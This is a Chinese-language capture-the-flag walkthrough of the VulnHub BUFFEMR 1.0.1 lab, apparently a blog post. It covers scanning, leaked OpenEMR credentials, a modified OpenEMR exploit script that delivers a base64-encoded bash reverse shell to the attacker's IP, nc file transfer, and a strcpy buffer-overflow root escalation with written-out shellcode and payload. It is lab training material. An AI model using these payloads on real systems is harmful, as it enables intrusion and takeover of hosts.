准备:

攻击机:虚拟机kali、本机win10。

靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下载后直接vbox打开即可。

知识点:openemr框架漏洞、源码敏感信息泄露、缓冲区溢出漏洞提权、gdb调试的使用。

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.5。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.5,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。

FTP服务收集源码信息:

匿名登录ftp服务发现存在一个share文件夹,文件夹中包含了openemr文件家,openemr文件下是项目的源码信息。

将整个项目下载下来,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。

在源码中查找信息,经过一番查找之后在tests文件夹的test.accounts文件中获得一个测试账户信息:admin/Monster123。

WEB服务:

访问80服务显示是一个默认页面,没什么信息,尝试访问下/openemr目录,命令:http://172.20.10.5/openemr,成功进入到登录页面。

使用获得账户信息:admin/Monster123进行登录,成功登录到系统。

使用searchsploit搜索下openemr框架的漏洞信息,发现openemr框架的漏洞基本和框架的版本信息有关,那就在web界面找下框架的版本信息,发现是:v5.0.1 (3)。

那就使用searchsploit搜索下openemr框架v5.0.1 (3)的漏洞信息,发现以下漏洞。

漏洞获取shell:

利用php/webapps/45161.py脚本获取shell权限,但是此脚本存在一点问题需要进行修改,修改前后如下

#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改后的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"

中间的加密的字符是自己对反弹shell的语句进行的base64.b64encode()加密,加密脚本如下

import base64

str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))

执行45161.py脚本成功获取到shell权限,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',这里后面的命令是不起作用的,因为在代码里写死了。或者将语句修改将加密后的bytes转换成字符串放到语句中,这样的话-c的命令就可以起作用。

提权-buffemr权限:

在var目录下发现一个user.zip文件,将该文件下载下来:

#kali
nc -nlvp 8888 > user.zip #靶机shell
nc 172.20.10.7 8888 < user.zip

但是在解压user.zip文件的时需要密码,尝试使用john、fcrackzip进行爆破,但是均失败,后来在ftp服务中发现的openemr里发现了一组信息,该信息在openemr\sql目录下的keys.sql文件中,信息为:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");

尝试使用获得c2FuM25jcnlwdDNkCg==进行解密,解密成功,获得user.lst文件,文件信息是一组账户信息:buffemr/Iamgr00t。

使用获得账户信息:buffemr/Iamgr00t切换到buffemr账户权限,但是显示:must be run from a terminal,那我们就直接使用ssh连接,命令:ssh buffemr@172.20.10.5,成功获得buffemr账户权限。

获得buffemr权限后在/home/buffemr目录下发现user_flag.txt文件,读取该文件成功获取到flag值。

提权-root权限-缓冲区溢出提权:

通过:find / -perm -4000 -type f 2>/dev/null,来查找可疑文件,发现dontexecute文件。

查看dontexecute文件,发现其存在一个未进行限制的strcpy函数,那么这可能就存在内存溢出漏洞。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现已被禁止。

使用gdb进行调试程序,命令:gdb -q dontexecute。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x31724130。

计算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量为512。

在网上找了一个shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53个字节,因此需要从512-53=459的地方开始执行我们的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。

#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')

退出gdb模式,使用dontexecute文件来执行我们的payload,命令:./dontexecute payload,成功获得root权限。

获得root权限后在/root目录下发现Root_flag.txt文件,读取该文件成功获得flag值。

vulnhub靶场之BUFFEMR: 1.0.1的更多相关文章

  1. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  2. 【Vulnhub靶场】JANGOW: 1.0.1

    时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  8. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  10. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

随机推荐

  1. Resilience4J通过yml设置circuitBreaker

    介绍 Resilience4j是一个轻量级.易于使用的容错库,其灵感来自Netflix Hystrix,但专为Java 8和函数式编程设计. springcloud2020升级以后Hystrix被官方 ...

  2. centos7 安装RabbitMQ3.6.15 以及各种报错

    成功图镇楼 各个版本之间的差异不大,安装前要确保rabbitmq 的版本和 elang的版本一致.预防各种错乱. 注意点:(重要!!重要!!) * 同时安装的时候最好确保rabbitmq和erlang ...

  3. C语言编译环境中的 调试功能及常见错误提示

    文章目录 1 .调试功能 2 . 编译中的常见错误例析 3 .常见错误信息语句索引 1 .调试功能 1.常用健 <F10> : 激活系统菜单 <F6> : 将光标在编辑窗口和. ...

  4. SQL面试50题------(初始化工作、建立表格)

    文章目录 1.建表 1.1 学生表和插入数据 1.2 教师表和数据 1.3 课程表和数据 1.4 成绩表和数据 2.数据库数据 2.1 学生表 2.2 教师表 2.3 课程表 2.4 得分表 1.建表 ...

  5. 18.drf request及源码分析

    REST framework的 Request 类扩展了Django标准的 HttpRequest ,添加了对REST framework请求解析和身份验证的支持. 源代码片段: class Requ ...

  6. css文字单行/多行超出显示省略号...

    css文字单行/多行超出显示省略号... 项目里写css样式我们经常会遇到将文字超出显示省略号的情况,记录一下以后能用到. 单行超出 .oneline { width:300upx; /*宽度一定要设 ...

  7. POC、EXP、SRC概念厘清

    「POC」 POC可以看成是一段验证的代码,就像是一个证据,能够证明漏洞的真实性,能证明漏洞的存在即可.     https://zhuanlan.zhihu.com/p/26832890 「EXP」 ...

  8. Python基础部分:10、数据类型的内置方法和字符编码

    目录 一.数据类型内置方法 1.字典dict内置方法 1.1.类型转换 2.字典必须要掌握的方法 2.1.取值方式 2.2.修改内部数据值 2.3.删除数据 2.4.统计字典中键值对个数 2.5.字典 ...

  9. 解决pip下载速度慢问题

    解决pip下载速度慢的问题 痛点:当我们pip 安装第三方库的时候,由于是访问的国外地址,所以会出现下载很慢!干等..... 解决方案: # 1.在C盘目录-->Users-->用户--& ...

  10. FastApi学习

    vscode配置 插件 code runner在 setting.json中关于python的修改为,因为我使用了虚拟环境,得让vscode找到python的路径 "code-runner. ...